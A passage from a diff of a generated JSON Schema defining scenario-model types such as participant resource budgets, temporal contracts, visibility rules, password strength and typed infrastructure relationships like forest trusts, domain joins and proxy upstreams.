Refs","type":"array","uniqueItems":true},"scope_refs":{"items":{"$ref":"#/$defs/_r138"},"title":"Scope Refs","type":"array","uniqueItems":true},"source_action_refs":{"items":{"$ref":"#/$defs/_r138"},"title":"Source Action Refs","type":"array","uniqueItems":true},"target_action_refs":{"items":{"$ref":"#/$defs/_r138"},"title":"Target Action Refs","type":"array","uniqueItems":true}},"required":["kind"],"then":{"properties":{"kind":{"enum":["delegation","supervision"]}}},"title":"ParticipantRelationship","type":"object"}, + "ParticipantRelationshipKind": {"description":"Portable relation meanings, independent of backend mechanisms.","enum":["coordination","delegation","cooperation","competition","supervision"],"title":"ParticipantRelationshipKind","type":"string"}, + "ParticipantResourceAccountingMode": {"enum":["windowed_counter","cumulative_counter","reservable_gauge","growth_counter","lease"],"title":"ParticipantResourceAccountingMode","type":"string"}, + "ParticipantResourceBudgetDimension": {"additionalProperties":false,"properties":{"accounting_mode":{"$ref":"#/$defs/ParticipantResourceAccountingMode"},"evidence_refs":{"items":{"$ref":"#/$defs/_r185"},"maxItems":1024,"title":"Evidence Refs","type":"array"},"limit":{"maximum":1000000000000000000,"minimum":1,"title":"Limit","type":"integer"},"meter_profile_ref":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Meter Profile Ref","type":"string"},"owner_ref":{"allOf":[{"$ref":"#/$defs/_r186"}],"maxLength":64,"minLength":1,"not":{"pattern":"[^a-z0-9_-]"},"pattern":"^[a-z0-9]","title":"Owner Ref","type":"string"},"parent_budget_ref":{"anyOf":[{"$ref":"#/$defs/_r3"},{"type":"null"}],"default":null,"title":"Parent Budget Ref"},"pool_ref":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Pool Ref","type":"string"},"reservation":{"maximum":1000000000000000000,"minimum":1,"title":"Reservation","type":"integer"},"reset":{"$ref":"#/$defs/ParticipantResourceResetMode"},"resource_kind":{"anyOf":[{"$ref":"#/$defs/ParticipantResourceKind"},{"$ref":"#/$defs/DomainProfileCoordinateModel"}],"title":"Resource Kind"},"unit":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Unit","type":"string"},"window_ticks":{"anyOf":[{"maximum":1000000000,"minimum":1,"type":"integer"},{"type":"null"}],"default":null,"title":"Window Ticks"}},"required":["owner_ref","pool_ref","resource_kind","unit","accounting_mode","meter_profile_ref","limit","reservation","reset"],"title":"ParticipantResourceBudgetDimension","type":"object"}, + "ParticipantResourceBudgetPolicy": {"additionalProperties":false,"properties":{"dimensions":{"maxProperties":4096,"minProperties":1,"patternProperties":{"^[a-z0-9]":{"$ref":"#/$defs/ParticipantResourceBudgetDimension"}},"propertyNames":{"maxLength":64,"minLength":1,"not":{"pattern":"[^a-z0-9_-]"}},"title":"Dimensions","type":"object"},"fairness":{"$ref":"#/$defs/ParticipantResourceFairness"},"owners":{"maxProperties":1024,"minProperties":1,"patternProperties":{"^[a-z0-9]":{"$ref":"#/$defs/ParticipantResourceOwner"}},"propertyNames":{"maxLength":64,"minLength":1,"not":{"pattern":"[^a-z0-9_-]"}},"title":"Owners","type":"object"},"policy_id":{"allOf":[{"$ref":"#/$defs/_r186"}],"maxLength":64,"minLength":1,"not":{"pattern":"[^a-z0-9_-]"},"pattern":"^[a-z0-9]","title":"Policy Id","type":"string"}},"required":["policy_id","owners","fairness","dimensions"],"title":"ParticipantResourceBudgetPolicy","type":"object"}, + "ParticipantResourceFairness": {"additionalProperties":false,"properties":{"borrowing":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Borrowing","type":"string"},"max_queue_ticks":{"maximum":1000000000,"minimum":0,"title":"Max Queue Ticks","type":"integer"},"policy":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Policy","type":"string"},"priority_class":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Priority Class","type":"string"},"protected":{"title":"Protected","type":"boolean"},"reclaim":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Reclaim","type":"string"},"starvation_bound_ticks":{"maximum":1000000000,"minimum":1,"title":"Starvation Bound Ticks","type":"integer"},"weight":{"maximum":1000000,"minimum":1,"title":"Weight","type":"integer"}},"required":["policy","priority_class","weight","protected","borrowing","reclaim","max_queue_ticks","starvation_bound_ticks"],"title":"ParticipantResourceFairness","type":"object"}, + "ParticipantResourceKind": {"enum":["action_rate","concurrent_actions","storage_growth","inference_tokens","image_generations","accelerator"],"title":"ParticipantResourceKind","type":"string"}, + "ParticipantResourceOwner": {"additionalProperties":false,"properties":{"kind":{"$ref":"#/$defs/ParticipantResourceOwnerKind"},"ref":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Ref","type":"string"}},"required":["kind","ref"],"title":"ParticipantResourceOwner","type":"object"}, + "ParticipantResourceOwnerKind": {"enum":["participant","deployment_tenant","shared_service","fleet"],"title":"ParticipantResourceOwnerKind","type":"string"}, + "ParticipantResourceResetMode": {"enum":["episode","time_segment","run","reconciled"],"title":"ParticipantResourceResetMode","type":"string"}, + "ParticipantSharedTimeBinding": {"additionalProperties":false,"description":"Explicit shared-time binding; legacy descriptive references stay opaque.","properties":{"clock_ref":{"$ref":"#/$defs/_r140"},"condition_precondition_id":{"anyOf":[{"$ref":"#/$defs/_r146"},{"type":"null"}],"default":null,"title":"Condition Precondition Id"},"constraint_ref":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Constraint Ref","type":"string"},"event_point":{"enum":["start","end","observed","effective"],"title":"Event Point","type":"string"},"evidence_mode":{"enum":["event","continuous"],"title":"Evidence Mode","type":"string"},"observation_boundary_ref":{"anyOf":[{"$ref":"#/$defs/_r146"},{"type":"null"}],"default":null,"title":"Observation Boundary Ref"},"profile":{"const":"participant-shared-time/v1","title":"Profile","type":"string"}},"required":["profile","clock_ref","constraint_ref","event_point","evidence_mode"],"title":"ParticipantSharedTimeBinding","type":"object"}, + "ParticipantTemporalContract": {"additionalProperties":false,"description":"Typed SEM-213 temporal contract for a participant action.","properties":{"backend_disclosure_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"Backend Disclosure Refs","type":"array"},"clock_authority":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Clock Authority","type":"string"},"description":{"$ref":"#/$defs/_r170"},"duration_ref":{"anyOf":[{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Duration Ref"},"event_points":{"items":{"$ref":"#/$defs/ParticipantTemporalEventPoint"},"minItems":1,"title":"Event Points","type":"array"},"ordering_basis":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Ordering Basis","type":"string"},"randomization_basis":{"anyOf":[{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Randomization Basis"},"replay_boundary":{"anyOf":[{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Replay Boundary"},"reset_boundary":{"anyOf":[{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Reset Boundary"},"shared_time_binding":{"anyOf":[{"$ref":"#/$defs/ParticipantSharedTimeBinding"},{"type":"null"}],"default":null},"temporal_id":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Temporal Id","type":"string"},"temporal_kind":{"$ref":"#/$defs/ParticipantTemporalContractKind"},"time_domain":{"$ref":"#/$defs/ParticipantTimeDomain"},"window_ref":{"anyOf":[{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Window Ref"}},"required":["temporal_id","temporal_kind","time_domain","clock_authority","event_points","description","ordering_basis"],"title":"ParticipantTemporalContract","type":"object"}, + "ParticipantTemporalContractKind": {"description":"SEM-213 temporal contract kinds.","enum":["schedule","cadence","deadline","dwell","latency","time_window","timeout","cooldown"],"title":"ParticipantTemporalContractKind","type":"string"}, + "ParticipantTemporalEventPoint": {"description":"Named participant event points used by temporal contracts.","enum":["submit","start","end","observed","effective","deadline","window_open","window_close","reset","replay"],"title":"ParticipantTemporalEventPoint","type":"string"}, + "ParticipantTemporalSupportMode": {"description":"How a backend supports a temporal guarantee.","enum":["exact","bounded","disclosed_limitation","unsupported"],"title":"ParticipantTemporalSupportMode","type":"string"}, + "ParticipantTimeDomain": {"description":"Distinct SEM-213 time domains.","enum":["episode_step","scenario_time","simulation_time","backend_time","wall_clock_time"],"title":"ParticipantTimeDomain","type":"string"}, + "ParticipantToolAffordance": {"additionalProperties":false,"description":"Authored participant-local binding from tool identity to governed behavior.","properties":{"action_contract_refs":{"items":{"$ref":"#/$defs/_r138"},"minItems":1,"title":"Action Contract Refs","type":"array","uniqueItems":true},"observation_boundary_refs":{"items":{"$ref":"#/$defs/_r138"},"minItems":1,"title":"Observation Boundary Refs","type":"array","uniqueItems":true},"tool_ref":{"anyOf":[{"$ref":"#/$defs/_r146"},{"type":"null"}],"default":null,"title":"Tool Ref"}},"required":["action_contract_refs","observation_boundary_refs"],"title":"ParticipantToolAffordance","type":"object"}, + "ParticipantViewDisposition": {"description":"SEM-210 visibility disposition for one information object.","enum":["observable","hidden","evidence_only","discovered","inferred","disclosed","concealed","deceptive"],"title":"ParticipantViewDisposition","type":"string"}, + "ParticipantViewHistoryEventType": {"description":"Behavior-history event that realizes a SEM-210 visibility transition.","enum":["action_attempted","state_transition_recorded","observation_emitted","episode_close"],"title":"ParticipantViewHistoryEventType","type":"string"}, + "ParticipantViewRule": {"additionalProperties":false,"description":"Visibility rule for one participant information-boundary object.","properties":{"boundary_class":{"$ref":"#/$defs/ParticipantInformationBoundaryClass"},"certainty":{"anyOf":[{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Certainty"},"disclosure_rule":{"$ref":"#/$defs/_r24"},"disposition":{"$ref":"#/$defs/ParticipantViewDisposition"},"effective_from":{"anyOf":[{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Effective From"},"evidence_refs":{"$ref":"#/$defs/_r118"},"information_ref":{"$ref":"#/$defs/_r171"},"latency_profile":{"anyOf":[{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Latency Profile"},"realized_backend_disclosure":{"$ref":"#/$defs/_r25"},"visibility_basis":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Visibility Basis","type":"string"}},"required":["information_ref","boundary_class","disposition","visibility_basis"],"title":"ParticipantViewRule","type":"object"}, + "ParticipantViewTransition": {"additionalProperties":false,"description":"Time-indexed SEM-210 transition over a participant view relation.","properties":{"action_instance_id":{"anyOf":[{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Action Instance Id"},"certainty":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Certainty","type":"string"},"disclosure_rule":{"$ref":"#/$defs/_r24"},"effective_from":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Effective From","type":"string"},"effective_order":{"title":"Effective Order","type":"integer"},"evidence_refs":{"$ref":"#/$defs/_r118"},"from_disposition":{"$ref":"#/$defs/ParticipantViewDisposition"},"history_event_type":{"$ref":"#/$defs/ParticipantViewHistoryEventType"},"information_ref":{"$ref":"#/$defs/_r171"},"latency_profile":{"$ref":"#/$defs/_r172"},"realized_backend_disclosure":{"$ref":"#/$defs/_r25"},"to_disposition":{"$ref":"#/$defs/ParticipantViewDisposition"},"transition_id":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Transition Id","type":"string"},"transition_kind":{"$ref":"#/$defs/ParticipantViewTransitionKind"},"trigger":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Trigger","type":"string"}},"required":["transition_id","transition_kind","information_ref","trigger","effective_from","effective_order","history_event_type","from_disposition","to_disposition","certainty","latency_profile"],"title":"ParticipantViewTransition","type":"object"}, + "ParticipantViewTransitionKind": {"description":"SEM-210 state transitions that alter participant visibility over time.","enum":["discovery","inference","concealment","disclosure","revocation","deception"],"title":"ParticipantViewTransitionKind","type":"string"}, + "PasswordStrength": {"description":"How resistant the account password is to cracking.","enum":["weak","medium","strong","none"],"title":"PasswordStrength","type":"string"}, + "PersistentVolume": {"additionalProperties":false,"description":"Portable desired persistent storage and its mount consumers.","properties":{"access_mode":{"$ref":"#/$defs/VolumeAccessMode"},"consumers":{"items":{"$ref":"#/$defs/StatefulResourceConsumer"},"minItems":1,"title":"Consumers","type":"array","uniqueItems":true},"lifecycle":{"$ref":"#/$defs/VolumeLifecycle"},"ordering_dependencies":{"$ref":"#/$defs/_r125"},"refresh_dependencies":{"$ref":"#/$defs/_r126"}},"required":["lifecycle","access_mode","consumers"],"title":"PersistentVolume","type":"object"}, + "PresencePredicate": {"additionalProperties":false,"description":"Test whether a governed property is present on a subject.","properties":{"kind":{"const":"presence","default":"presence","title":"Kind","type":"string"},"operator":{"const":"exists","default":"exists","title":"Operator","type":"string"},"property":{"$ref":"#/$defs/_r136"},"semantic_ref":{"$ref":"#/$defs/_r132"}},"required":["property","semantic_ref"],"title":"PresencePredicate","type":"object"}, + "ProcessResourceLimitKind": {"description":"Portable process-resource terms governed by the runtime contract.","enum":["open_file_descriptors","locked_memory_bytes"],"title":"ProcessResourceLimitKind","type":"string"}, + "ProcessResourceLimitScope": {"description":"Process inheritance scope for a portable resource limit.","enum":["process","subtree"],"title":"ProcessResourceLimitScope","type":"string"}, + "Proposition": {"additionalProperties":false,"description":"A side-effect-free claim over a finite set of stable SDL subjects.","properties":{"basis":{"$ref":"#/$defs/PropositionBasis"},"description":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Description","type":"string"},"evidence_requirements":{"items":{"$ref":"#/$defs/_r185"},"title":"Evidence Requirements","type":"array"},"predicate":{"discriminator":{"mapping":{"boolean":"#/$defs/BooleanPredicate","number":"#/$defs/NumericPredicate","presence":"#/$defs/PresencePredicate","string":"#/$defs/StringPredicate"},"propertyName":"kind"},"oneOf":[{"$ref":"#/$defs/PresencePredicate"},{"$ref":"#/$defs/BooleanPredicate"},{"$ref":"#/$defs/StringPredicate"},{"$ref":"#/$defs/NumericPredicate"}],"title":"Predicate"},"quantifier":{"$ref":"#/$defs/SubjectQuantifier","default":"all"},"subjects":{"items":{"$ref":"#/$defs/_r185"},"minItems":1,"title":"Subjects","type":"array"},"threshold":{"$ref":"#/$defs/_r22"}},"required":["description","subjects","basis","predicate"],"title":"Proposition","type":"object"}, + "PropositionBasis": {"description":"Source of facts that may decide a proposition.","enum":["declared_state","observed_state"],"title":"PropositionBasis","type":"string"}, + "RandomValueFormat": {"additionalProperties":false,"description":"Bounded literal wrapper placed around the random segment.\n\n``prefix`` and ``suffix`` are literal text (no control characters); the random\nsegment is inserted between them. The wrapper contributes no entropy.","properties":{"prefix":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Prefix","type":"string"},"suffix":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Suffix","type":"string"}},"title":"RandomValueFormat","type":"object"}, + "RandomValueRecipe": {"additionalProperties":false,"description":"Portable, value-free description of how a random value is generated.","properties":{"alphabet":{"anyOf":[{"$ref":"#/$defs/NamedAlphabet"},{"type":"null"}],"default":null},"custom_alphabet":{"anyOf":[{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Custom Alphabet"},"entropy_bits":{"anyOf":[{"maximum":4096,"minimum":1,"type":"integer"},{"type":"null"}],"default":null,"title":"Entropy Bits"},"format":{"anyOf":[{"$ref":"#/$defs/RandomValueFormat"},{"type":"null"}],"default":null},"length":{"anyOf":[{"maximum":4096,"minimum":1,"type":"integer"},{"type":"null"}],"default":null,"title":"Length"},"min_entropy_bits":{"anyOf":[{"maximum":4096,"minimum":1,"type":"integer"},{"type":"null"}],"default":null,"title":"Min Entropy Bits"}},"title":"RandomValueRecipe","type":"object"}, + "RealizationPresence": {"description":"Whether the addressed member must, may, or must not exist.","enum":["required","optional","forbidden"],"title":"RealizationPresence","type":"string"}, + "Relationship": {"additionalProperties":false,"allOf":[{"else":{"properties":{"participant":{"type":"null"}}},"if":{"properties":{"type":{"const":"participant"}},"required":["type"]},"then":{"properties":{"carrier_placement":{"type":"null"},"database_access":{"type":"null"},"domain_controller":{"type":"null"},"domain_join":{"type":"null"},"forest_trust":{"type":"null"},"forwarding_edge":{"type":"null"},"identity_federation":{"type":"null"},"mail_access":{"type":"null"},"participant":{"type":"object"},"properties":{"maxProperties":0},"proxy_upstream":{"type":"null"},"service_integration":{"type":"null"},"shared_service":{"type":"null"}},"required":["participant"]}}],"description":"A typed directed edge between two named scenario elements.\n\nSource and target can reference any named element in the scenario:\nnodes, features, accounts, entities, or infrastructure entries.\nThe validator checks that both endpoints resolve.\n\nThe ``properties`` dict carries type-specific metadata (e.g.,\n``trust_type: parent-child`` for AD trusts, ``protocol: SAML``\nfor federation). It's a flat dict rather than typed sub-models\nbecause relationship properties vary widely and we don't want\nto gate expressiveness on pre-modeling every variant.\n\n``database_access`` and ``mail_access`` are typed exceptions where\nprotocol/auth details need structural validation rather than prose.\n``forwarding_edge``, ``service_integration``, and ``proxy_upstream`` are\nthe same kind of typed exception for, respectively, a forwarding /\nintel-sync agent's inter-node trust edge (SCN-010 \u00a75.7), a platform\nconsumer-to-engine service integration, and a reverse-proxy/gateway\nroute-to-origin upstream hop. Each keeps protocol/auth/topology facts\nstructurally validated and cross-referable rather than buried in prose.","properties":{"carrier_placement":{"anyOf":[{"$ref":"#/$defs/RelationshipCarrierPlacement"},{"type":"null"}],"default":null},"database_access":{"anyOf":[{"$ref":"#/$defs/RelationshipDatabaseAccess"},{"type":"null"}],"default":null},"description":{"$ref":"#/$defs/_r53"},"domain_controller":{"anyOf":[{"$ref":"#/$defs/RelationshipDomainController"},{"type":"null"}],"default":null},"domain_join":{"anyOf":[{"$ref":"#/$defs/RelationshipDomainJoin"},{"type":"null"}],"default":null},"forest_trust":{"anyOf":[{"$ref":"#/$defs/RelationshipForestTrust"},{"type":"null"}],"default":null},"forwarding_edge":{"anyOf":[{"$ref":"#/$defs/RelationshipForwardingEdge"},{"type":"null"}],"default":null},"identity_federation":{"anyOf":[{"$ref":"#/$defs/RelationshipIdentityFederation"},{"type":"null"}],"default":null},"mail_access":{"anyOf":[{"$ref":"#/$defs/RelationshipMailAccess"},{"type":"null"}],"default":null},"participant":{"anyOf":[{"$ref":"#/$defs/ParticipantRelationship"},{"type":"null"}],"default":null},"properties":{"additionalProperties":{"$ref":"#/$defs/_r185"},"title":"Properties","type":"object"},"proxy_upstream":{"anyOf":[{"$ref":"#/$defs/RelationshipProxyUpstream"},{"type":"null"}],"default":null},"service_integration":{"anyOf":[{"$ref":"#/$defs/RelationshipServiceIntegration"},{"type":"null"}],"default":null},"shared_service":{"anyOf":[{"$ref":"#/$defs/RelationshipSharedService"},{"type":"null"}],"default":null},"source":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Source","type":"string"},"target":{"$ref":"#/$defs/_r182"},"type":{"$ref":"#/$defs/RelationshipType"}},"required":["type","source","target"],"title":"Relationship","type":"object"}, + "RelationshipCarrierPlacement": {"additionalProperties":false,"description":"Typed logical-node-to-carrier placement intent.","properties":{"kernel_boundary":{"$ref":"#/$defs/KernelBoundary","title":"Kernel Boundary"}},"required":["kernel_boundary"],"title":"RelationshipCarrierPlacement","type":"object"}, + "RelationshipDatabaseAccess": {"additionalProperties":false,"description":"Typed database-access detail carried by a top-level relationship edge.\n\nWhen an application connects to a database, the relationship's ``target``\nresolves to the database (service or logical database) and this block keeps\nthe ``role_ref`` (a ``role_id`` in that service) and ``auth_method``\nstructurally validated rather than recorded as prose (ADR-029 \u00a74).","properties":{"auth_method":{"anyOf":[{"$ref":"#/$defs/DatabaseAuthMethod"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[pP][aA][sS][sS][wW][oO][rR][dD]|[mM][dD]5|[sS][cC][rR][aA][mM][-_][sS][hH][aA][-_]256|[cC][eE][rR][tT]|[tT][rR][uU][sS][tT]|[pP][eE][eE][rR]|[iI][dD][eE][nN][tT]|[gG][sS][sS][aA][pP][iI]|[sS][sS][pP][iI]|[lL][dD][aA][pP]|[rR][aA][dD][iI][uU][sS]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"other","title":"Auth Method"},"description":{"$ref":"#/$defs/_r53"},"role_ref":{"$ref":"#/$defs/_r69"}},"title":"RelationshipDatabaseAccess","type":"object"}, + "RelationshipDomainController": {"additionalProperties":false,"description":"Typed marker for a node-to-domain controller-role edge.","properties":{},"title":"RelationshipDomainController","type":"object"}, + "RelationshipDomainJoin": {"additionalProperties":false,"description":"Typed member join with explicit ordered controller candidates.","properties":{"controller_refs":{"items":{"$ref":"#/$defs/_r185"},"minItems":1,"title":"Controller Refs","type":"array"}},"required":["controller_refs"],"title":"RelationshipDomainJoin","type":"object"}, + "RelationshipForestTrust": {"additionalProperties":false,"description":"Typed forest trust detail; relationship endpoints own forest identity.","properties":{"direction":{"$ref":"#/$defs/ForestTrustDirection","title":"Direction"},"trust_type":{"anyOf":[{"$ref":"#/$defs/ForestTrustType"},{"$ref":"#/$defs/DomainProfileBindingModel"}],"title":"Trust Type"}},"required":["trust_type","direction"],"title":"RelationshipForestTrust","type":"object"}, + "RelationshipForwardingEdge": {"additionalProperties":false,"description":"Typed forwarding-trust detail carried by a top-level relationship edge.\n\nThe inter-node trust edge between a forwarding / intel-sync agent\n(``forwarder_ref``, a ``forwarding_agent_id``) and the downstream consumer\nit ships to. The consumer's transport listener is named by\n``target_listener_role`` \u2014 REUSING the manager-side\n``RuntimeSecurityMonitoringListenerRole`` lattice rather than forking a\nparallel enum (SCN-010 \u00a75.7).\n\nThe agent enrollment identity itself is never recorded: only the closed\n``RuntimeForwardingEnrollmentClassification`` lattice (``none`` /\n``redacted`` / ``operator_secret``). A present enrollment-identity ref must\nclassify ``redacted`` / ``operator_secret`` \u2014 a raw identity is never the\nportable model.","properties":{"crypto_method":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Crypto Method","type":"string"},"description":{"$ref":"#/$defs/_r53"},"enrollment_identity_classification":{"$ref":"#/$defs/_r12"},"enrollment_identity_ref":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Enrollment Identity Ref","type":"string"},"forwarder_ref":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Forwarder Ref","type":"string"},"parse_format":{"$ref":"#/$defs/_r13"},"protocol":{"$ref":"#/$defs/_r67"},"target_listener_role":{"anyOf":[{"$ref":"#/$defs/RuntimeSecurityMonitoringListenerRole"},{"$ref":"#/$defs/_r147"}],"default":"other","title":"Target Listener Role"}},"required":["forwarder_ref"],"title":"RelationshipForwardingEdge","type":"object"}, + "RelationshipIdentityFederation": {"additionalProperties":false,"description":"Typed human-authority-to-IdP-facade federation intent.","properties":{"direction":{"$ref":"#/$defs/FederationDirection","title":"Direction"},"mapping_intent":{"anyOf":[{"$ref":"#/$defs/FederationMappingIntent"},{"$ref":"#/$defs/DomainProfileBindingModel"}],"title":"Mapping Intent"},"protocol":{"anyOf":[{"$ref":"#/$defs/FederationProtocol"},{"$ref":"#/$defs/DomainProfileBindingModel"}],"title":"Protocol"},"tenant_claim_name":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Tenant Claim Name","type":"string"},"tenant_claim_owner":{"$ref":"#/$defs/TenantClaimOwner","title":"Tenant Claim Owner"}},"required":["direction","protocol","mapping_intent","tenant_claim_name","tenant_claim_owner"],"title":"RelationshipIdentityFederation","type":"object"}, + "RelationshipMailAccess": {"additionalProperties":false,"description":"Typed mail-access detail carried by a top-level relationship edge.","properties":{"auth_mechanism":{"anyOf":[{"$ref":"#/$defs/RuntimeMailAuthMechanism"},{"$ref":"#/$defs/_r156"}],"default":"other","title":"Auth Mechanism"},"description":{"$ref":"#/$defs/_r53"},"domain_ref":{"$ref":"#/$defs/_r57"},"listener_ref":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Listener Ref","type":"string"},"mailbox_ref":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Mailbox Ref","type":"string"},"protocol":{"$ref":"#/$defs/_r17"},"tls_mode":{"$ref":"#/$defs/_r18"}},"title":"RelationshipMailAccess","type":"object"}, + "RelationshipProxyUpstream": {"additionalProperties":false,"description":"Typed proxy-upstream detail carried by a top-level relationship edge.\n\nWhen a reverse proxy / gateway forwards a route to an upstream origin, the\nrelationship's ``target`` resolves to that origin and this block keeps the\nforwarding facts structurally validated rather than recorded as prose:\n``route_ref`` (a ``route_id`` on the proxy's application surface), the\nresolved upstream node/service, whether the client-facing TLS is terminated\nat the proxy, whether the proxy-to-origin hop is plaintext, and any request\n``body_limit`` the proxy enforces.","properties":{"body_limit":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Body Limit","type":"string"},"client_tls_terminated":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Client Tls Terminated"},"description":{"$ref":"#/$defs/_r53"},"origin_plaintext":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Origin Plaintext"},"route_ref":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Route Ref","type":"string"},"upstream_node_ref":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Upstream Node Ref","type":"string"},"upstream_service_ref":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Upstream Service Ref","type":"string"}},"required":["route_ref"],"title":"RelationshipProxyUpstream","type":"object"}, + "RelationshipServiceIntegration": {"additionalProperties":false,"description":"Typed service-integration detail carried by a top-level relationship edge.\n\nWhen a consumer application integrates with a platform engine (analyzer,\nresponder, webhook, notification, or enrichment), the relationship's\nendpoints resolve to the two platform applications and this block keeps the\n``integration_kind``, ``auth_principal_ref`` (an ``app_authorization``\n``principal_id`` in the target), and ``direction`` structurally validated\nrather than recorded as prose. ``consumer_ref``/``engine_ref`` are the\n``platform_application_id`` symbols of the two endpoints; a 